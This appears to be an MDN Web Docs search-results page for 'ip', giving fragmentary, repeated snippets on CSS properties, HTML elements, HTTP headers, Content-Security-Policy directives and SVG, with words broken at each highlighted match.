ow background images are repeated. a background image can be repeated along the horizontal and vertical axes, or not repeated at all. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. by default, the repeated images are cl
ipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space). syntax /* keyword values */ background-repeat: repeat-x; background-repeat: repeat-y; background-repeat: repeat; background-repeat: space; background-repeat: round; background-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ background-repeat: repeat s...
... no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition behavior and the second value represents the vertical behavior. here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole background image painting area. ...
...he horizontal repetition behavior and the second value represents the vertical behavior. here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole background image painting area. the last image will be cl
ipped if it doesn't fit. space the image is repeated as much as possible without cl
ipping. the first and last images are pinned to either side of the element, and whitespace is distributed evenly between the images. the background-position property is ignored unless only one image can be displayed without cl
ipping. the only case where cl
ipping happens using space is when there isn't enough room to display one image. round as the allowed space increases in size, the...
...And 3 more matches
border-bottom-left-radius - CSS: Cascading Style Sheets
the border-bottom-left-radius css property rounds the bottom-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ell
ipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the rounding can be a circle or an ell
ipse, or if one of the value is 0 no rounding is done and the corner is square. a background, being an image or a color, is cl
ipped at the border, even a rounded one; the exact location of the cl
ipping is defined by the value of the background-cl
ip property. note: if the value of this property is not set in a b...
... property is not set in a border-radius shorthand property that is applied to the element after the border-bottom-left-radius css property, the value of this property is then reset to its initial value by the shorthand property. ...
...ft-radius: radius */ border-bottom-left-radius: 3px; /* percentage values */ /* circle if box is a square or ell
ipse if box is a rectangle */ border-bottom-left-radius: 20%; /* same as above: 20% of horizontal(width) and vertical(height) */ border-bottom-left-radius: 20% 20%; /* 20% of horizontal(width) and 10% of vertical(height) */ border-bottom-left-radius: 20% 10%; /* the corner is an ell
ipse */ /* border-bottom-left-radius: horizontal vertical */ border-bottom-left-radius: 0.5em 1em; border-bottom-left-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner. ...
...And 3 more matches
border-bottom-right-radius - CSS: Cascading Style Sheets
the border-bottom-right-radius css property rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ell
ipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the rounding can be a circle or an ell
ipse, or if one of the value is 0 no rounding is done and the corner is square. a background, being an image or a color, is cl
ipped at the border, even a rounded one; the exact location of the cl
ipping is defined by the value of the background-cl
ip property. note: if the value of this property is not set in a bor...
...ius */ border-bottom-right-radius: 3px; /* percentage values */ border-bottom-right-radius: 20%; /* corner of a circle if box is a square or else corner of a rectangle */ border-bottom-right-radius: 20% 20%; /* same as above */ /* 20% of horizontal(width) and vertical(height) */ border-bottom-right-radius: 20% 10%; /* 20% of horizontal(width) and 10% of vertical(height) */ /*the corner is an ell
ipse */ /* border-bottom-right-radius: horizontal vertical */ border-bottom-right-radius: 0.5em 1em; border-bottom-right-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner. with two values: the first value is a <length> or a <percentage> denoting the horizontal semi-major axis of the ell
ipse to u...
...rit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner. with two values: the first value is a <length> or a <percentage> denoting the horizontal semi-major axis of the ell
ipse to use for the border in that corner. the second value is a <length> or a <percentage> denoting the vertical semi-major axis of the ell
ipse to use for the border in that corner. values <length-percentage> denotes the size of the circle radius or the semi-major and semi-minor axes of the ell
ipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative va...
...And 3 more matches
border-top-left-radius - CSS: Cascading Style Sheets
the border-top-left-radius css property rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ell
ipse defining the curvature of the corner. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the rounding can be a circle or an ell
ipse, or if one of the value is 0,no rounding is done and the corner is square. a background, being an image or a color, is cl
ipped at the border, even a rounded one; the exact location of the cl
ipping is defined by the value of the background-cl
ip property. note: if the value of this property is not set in a border-...
...und-cl
ip property. note: if the value of this property is not set in a border-radius shorthand property that is applied to the element after the border-top-left-radius css property, the value of this property is then reset to its initial value by the shorthand property. syntax /* the corner is a circle */ /* border-top-left-radius: radius */ border-top-left-radius: 3px; /* the corner is an ell
ipse */ /* border-top-left-radius: horizontal vertical */ border-top-left-radius: 0.5em 1em; border-top-left-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner. ...
...e corner is an ell
ipse */ /* border-top-left-radius: horizontal vertical */ border-top-left-radius: 0.5em 1em; border-top-left-radius: inherit; with one value: the value is a <length> or a <percentage> denoting the radius of the circle to use for the border in that corner. with two values: the first value is a <length> or a <percentage> denoting the horizontal semi-major axis of the ell
ipse to use for the border in that corner. the second value is a <length> or a <percentage> denoting the vertical semi-major axis of the ell
ipse to use for the border in that corner. values <length-percentage> denotes the size of the circle radius or the semi-major and semi-minor axes of the ell
ipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. per...
...And 3 more matches
break-inside - CSS: Cascading Style Sheets
reak will be applied at that point. once forced breaks have been applied, soft breaks may be added if needed, but not on element boundaries that resolve in a corresponding avoid value. syntax the break-inside property is specified as one of the keyword values from the list below. values auto allows, but does not force, any break (page, column, or region) to be be inserted within the princ
ipal box. avoid avoids any break (page, column, or region) from being inserted within the princ
ipal box. avoid-page avoids any page break within the princ
ipal box. avoid-column avoids any column break within the princ
ipal box. avoid-region avoids any region break within the princ
ipal box. page break aliases for compatibility reasons, the legacy page-break-inside property should be treat...
...finition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | avoid-page | avoid-column | avoid-region examples avoiding breaking inside a figure in the following example we have a container that contains an <h1> spanning all columns (achieved using column-span: all) and a series of paragraphs laid out in mult
iple columns using column-width: 200px. we also have a <figure> containing an image and a caption. by default, it is possible for you to get a break between the image and its caption, which is not what we want. to avoid this, we have set break-inside: avoid on the <figure>, which causes them to always stay together. html <article> <h1>main heading</h1> <p>lorem
ipsum dolor sit amet, consecte...
...umns using column-width: 200px. we also have a <figure> containing an image and a caption. by default, it is possible for you to get a break between the image and its caption, which is not what we want. to avoid this, we have set break-inside: avoid on the <figure>, which causes them to always stay together. html <article> <h1>main heading</h1> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. ...
...And 3 more matches
touch-action - CSS: Cascading Style Sheets
an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture. ...
...an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture. ...
...touch-action is typically applied only to top-level elements which have some custom behavior, without needing to specify touch-action explicitly on any of that element's descendants. after a gesture starts, changes to touch-action will not have any impact on the behavior of the current gesture. syntax the touch-action property may be specified as either: one of the keywords auto, none, man
ipulation, or one of the keywords pan-x, pan-left, pan-right, and/or one of the keywords pan-y, pan-up, pan-down, plus optionally the keyword pinch-zoom. values auto enable browser handling of all panning and zooming gestures. none disable browser handling of all panning and zooming gestures. pan-x enable single-finger horizontal panning gestures. may be combined with pan-y, pan-up, pan-d...
...And 3 more matches
white-space - CSS: Cascading Style Sheets
duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in cu...
... duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim...
... duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. ...
...And 3 more matches
Video player styling basics - Developer guides
teration the previous article simply set the display property of the video controls to block in order to display them. this has now been changed to use a data-state attribute, which this code already uses to handle its fullscreen implementation. this "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling. javascr
ipt as mentioned above, a data-state attribute is used in various places for styling purposes and these are set using javascr
ipt. specific implementations will be mentioned at appropriate places below. styling the resultant video player style used here is rather basic -- this is intentional, as the purpose is to show how such a video player could be styled and be made responsive. note: in some ...
...s progress span { width:0%; height:100%; display:inline-block; background-color:#2a84cd; } a .data-state class is also used here when a <progress> element is being "faked"; when it's in this state the background colour needs to be set. the internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via javascr
ipt) and it also has its background colour set. there are some browser-specific properties that need to be set to ensure that firefox and chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-webkit-progress-value { background-color:#0095dd; } although the same properties are set to the same value, thes...
...ic properties that need to be set to ensure that firefox and chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-webkit-progress-value { background-color:#0095dd; } although the same properties are set to the same value, these rules need to be defined separately, otherwise chrome ignores it. ...
...And 3 more matches
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
content categories flow content, phrasing content, embedded content, palpable content. permitted content transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...supported by mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead. width the width of the coordinate space in css pixels. defaults to 300. usage notes alternative content you may (and should) provide alternate content inside the <canvas> block. that content will be rendered both on older browsers that don't support canvas and in browsers with javascr
ipt disabled. providing a useful fallback text or sub dom helps to make the the canvas more accessible. required </canvas> tag unlike the <img> element, the <canvas> element requires the closing tag (</canvas>). sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which c...
...ng css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted. it is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the html or by using javascr
ipt. maximum canvas size the maximum size of a <canvas> element is very large, but the exact size depends on the browser. the following is some data we've collected from various tests and other sources (e.g. stack overflow): browser maximum height maximum width maximum area chrome 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) ...
...And 3 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascr
ipt. think of a template as a content fragment that is being stored for subsequent use in the document. while the parser does process the contents of the <template> element while loading the page, it does so only to ensure that those contents are valid; the element's contents are not rendered, however. content categories metadata content, flow content, phrasing content, scr
ipt-supporting element permitted content no restrictions tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts met...
...also allowed as a child of a <colgroup> element that does not have a span attribute. ...
... the example. <table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascr
ipt code. then comes the template, which describes the structure of an html fragment representing a single table row. now that the table has been created and the template defined, we use javascr
ipt to insert rows into the table, with each row being constructed using the template as its basis. // test to see if the browser supports the html template element by checking // for the presence of the te...
...And 3 more matches
title - HTML: Hypertext Markup Language
should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. ...
...le="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. if this attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the toolt
ip for this element. ...
...abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. if this attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the toolt
ip for this element. ...
...And 3 more matches
Content negotiation - HTTP
resentations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding). note: some disadvantages of http content negotiation are explained in a wiki page from whatwg. html5 provides alternatives to content negotiation via, for example, the <source> element. princ
iples of content negotiation a specific document is called a resource. when a client wants to obtain a resource, the client requests it using its url. the server uses this url to choose one of the variants it provides - each variant being called a representation - and returns a specific representation to the client. the overall resource, as well as each of the representations, have a specific url. ...
...urce is called is determined by content negotiation and there are several ways of negotiating between the client and the server. the determination of the best suited representation is made through one of two mechanisms: specific http headers by the client (server-driven negotiation or proactive negotiation), which is the standard way of negotiating a specific kind of resource. the 300 (mult
iple choices) or 406 (not acceptable) http response codes by the server (agent-driven negotiation or reactive negotiation), that are used as fallback mechanisms. over the years, other content negotiation proposals, like transparent content negotiation and the alternates header, have been proposed. they failed to get traction and got abandoned. server-driven content negotiation in server-driven c...
...ypes of media resources that the agent is willing to process. it is comma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types. the accept header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an html page or an image, a video, or a scr
ipt: it is different when fetching a document entered in the address bar or an element linked via an <img>, <video> or <audio> element. browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available. the accept-ch header this is part of an experimental technology called client hints. initial support is...
...And 3 more matches
Accept-Encoding - HTTP
server uses more than 80% of its computational power. as long as the identity value, meaning no encoding, is not explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never send back a 406 not acceptable error. notes: an iana registry maintains a complete list of official content encodings. ...
...es more than 80% of its computational power. as long as the identity value, meaning no encoding, is not explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never send back a 406 not acceptable error. notes: an iana registry maintains a complete list of official content encodings. ...
...ry maintains a complete list of official content encodings. two others content encoding, bz
ip and bz
ip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. note that the first one was discontinued due to patent licensing problems. header type request header forbidden header name yes syntax accept-encoding: gz
ip accept-encoding: compress accept-encoding: deflate accept-encoding: br accept-encoding: identity accept-encoding: * // mult
iple algorithms, weighted with the quality value syntax: accept-encoding: deflate, gz
ip;q=1.0, *;q=0.5 directives gz
ip a compression format using the lempel-ziv coding (lz77), with a 32-bit crc. compress a compression format using the lempel-ziv-welch (lzw) algorithm.
...And 3 more matches
CSP: font-src - HTTP
directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the font-src policy: content-security-policy: font-src <source>; content-security-policy: font-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 3 more matches
CSP: frame-src - HTTP
if this directive is absent, the user agent will look for the child-src directive (which falls back to the default-src directive). syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 3 more matches
CSP: manifest-src - HTTP
default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the manifest-src policy: content-security-policy: manifest-src <source>; content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 3 more matches
CSP: media-src - HTTP
rective default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the media-src policy: content-security-policy: media-src <source>; content-security-policy: media-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 3 more matches
CSP: object-src - HTTP
tive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <source>; content-security-policy: object-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...xclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. you must include the single quotes. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<bas...
...And 3 more matches
CSP: prefetch-src - HTTP
default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 3 more matches
Set-Cookie - HTTP
for more information, see the guide on http cookies. ...
... for more information, see the guide on http cookies. ...
... for more information, see the guide on http cookies. ...
...And 3 more matches
X-Forwarded-For - HTTP
therefore the user's privacy must be kept in mind when deploying this header. ...
...therefore the user's privacy must be kept in mind when deploying this header. ...
...therefore the user's privacy must be kept in mind when deploying this header. ...
...And 3 more matches
Proxy servers and tunneling - HTTP
ward proxies a forward proxy, or gateway, or just "proxy" provides proxy services to a client or a group of clients. there are likely hundreds of thousands of open forward proxies on the internet. they store and forward internet services (like the dns, or web pages) to reduce and control the bandwidth used by the group. forward proxies can also be anonymous proxies and allow users to hide their
ip address while browsing the web or using other internet services. tor (the onion router), routes internet traffic through mult
iple proxies for anonymity. reverse proxies as the name implies, a reverse proxy does the opposite of what a forward proxy does: a forward proxy acts in behalf of clients (or requesting hosts), a reverse proxy acts in behalf of servers. forward proxies can hide the identi...
... servers. reverse proxies have several use cases, a few are: load balancing: distribute the load to several web servers, cache static content: offload the web servers by caching static content like pictures, compression: compress and optimize content to speed up load time. forwarding client information through proxies proxies can make requests appear as if they originated from the proxy's
ip address. this can be useful if a proxy is used to provide client anonymity, but in other cases information from the original request is lost. the
ip address of the original client is often used for debugging, statistics, or generating location-dependent content. a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains infor...
...stics, or generating location-dependent content. a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request. or the de-facto standard versions: x-forwarded-for identifies the originating
ip addresses of a client connecting to a web server through an http proxy or a load balancer. x-forwarded-host identifies the original host requested that a client used to connect to your proxy or load balancer. x-forwarded-proto identifies the protocol (http or https) that a client used to connect to your proxy or load balancer. to provide information about the proxy itself (not about the...
...And 3 more matches
Redirections in HTTP - HTTP
ive more than one url address to a page, a form, or a whole web site/application. http has a special kind of response, called a http redirect, for this operation. redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. ...
... there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last forever. ...
...etter than 302 when non-get operations are available on the site. [2] the specification did not intend to allow method changes, but there are existing user agents that do change their method. 307 was created to remove the ambiguity of the behavior when using non-get methods. special redirections 304 (not modified) redirects a page to the locally cached copy (that was stale), and 300 (mult
iple choice) is a manual redirection: the body, presented by the browser as a web page, lists the possible redirections and the user clicks on one to select it. code text typical use case 300 mult
iple choice not many: the choices are listed in an html page in the body. machine-readable choices are encouraged to be sent as link headers with rel=alternate. 3...
...And 3 more matches
CSS Houdini
the styling and layout process of a browser's rendering engine. houdini is a group of apis that give developers direct access to the css object model (cssom), enabling developers to write code the browser can parse as css, thereby creating new css features without waiting for them to be implemented natively in browsers. advantages of houdini houdini enables faster parse times than using javascr
ipt .style for style changes. browsers parse the cssom -- including layout, paint, and composite processes -- before applying any style updates found in scr
ipts. in addition, layout, paint, and composite processes are repeated for javascr
ipt style updates. houdini code doesn't wait for that first rendering cycle to be complete. rather, it is included in that first cycle -- creating renderable, under...
...every element and style sheet rule has a style map which is accessible via its stylepropertymap. ...
...mposite processes are repeated for javascr
ipt style updates. houdini code doesn't wait for that first rendering cycle to be complete. rather, it is included in that first cycle -- creating renderable, understandable styles. houdini provides an object-based api for working with css values in javascr
ipt. houdini's css typed om is a css object model with types and methods, exposing values as javascr
ipt objects making for more intuitive css man
ipulation than previous string based htmlelement.style man
ipulations. every element and style sheet rule has a style map which is accessible via its stylepropertymap. a feature of css houdini is the worklet. ...
...And 3 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
svg presentation attributes are css properties that can be used as attributes on svg elements. ...
... svg presentation attributes are css properties that can be used as attributes on svg elements. ...
... svg presentation attributes are css properties that can be used as attributes on svg elements. ...
...And 3 more matches
d - SVG: Scalable Vector Graphics
ue none animatable yes path commands path commands are instructions that define a path to be drawn. each command is composed of a command letter and numbers that represent the command parameters. svg defines 6 types of path commands, for a total of 20 commands: moveto: m, m lineto: l, l, h, h, v, v cubic bezier curve: c, c, s, s quadratic bezier curve: q, q, t, t ell
iptical arc curve: a, a closepath: z, z note: commands are case-sensitive. an upper-case command specifies absolute coordinates, while a lower-case command specifies coordinates relative to the current position. it is always possible to specify a negative value as an argument to a command: negative angles will be anti-clockwise; absolute negative x and y values are interpreted as negative co...
...re near the end of the curve) after drawing, the end point (pn) becomes the current point for the next command (po?). command parameters notes c (x1,y1, x2,y2, x,y)+ draw a cubic bezier curve from the current point to the end point specified by x,y. the start control point is specified by x1,y1 and the end control point is specified by x2,y2. any subsequent tr
iplet(s) of coordinate pairs are interpreted as parameter(s) for implicit absolute cubic bezier curve (c) command(s). formulae: po? = pn = {x, y} ; pcs = {x1, y1} ; pce = {x2, y2} c (dx1,dy1, dx2,dy2, dx,dy)+ draw a cubic bezier curve from the current point to the end point, which is the current point shifted by dx along the x-axis and dy along ...
...the current point to the end point, which is the current point shifted by dx along the x-axis and dy along the y-axis. the start control point is the current point (starting point of the curve) shifted by dx1 along the x-axis and dy1 along the y-axis. the end control point is the current point (starting point of the curve) shifted by dx2 along the x-axis and dy2 along the y-axis. any subsequent tr
iplet(s) of coordinate pairs are interpreted as parameter(s) for implicit relative cubic bezier curve (c) command(s). formulae: po? = pn = {xo + dx, yo + dy} ; pcs = {xo + dx1, yo + dy1} ; pce = {xo + dx2, yo + dy2} s (x2,y2, x,y)+ draw a smooth cubic bezier curve from the current point to the end point specified by x,y. the end control point is spec...
...And 3 more matches
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
you can find some basic examples of svg syntax and usage in the w3c svg test suite. note: as of gecko 2.0, gecko supports svg animation using smil. see svg animation with smil for a brief overview. full documentation for svg is forthcoming. someday. there is also a descr
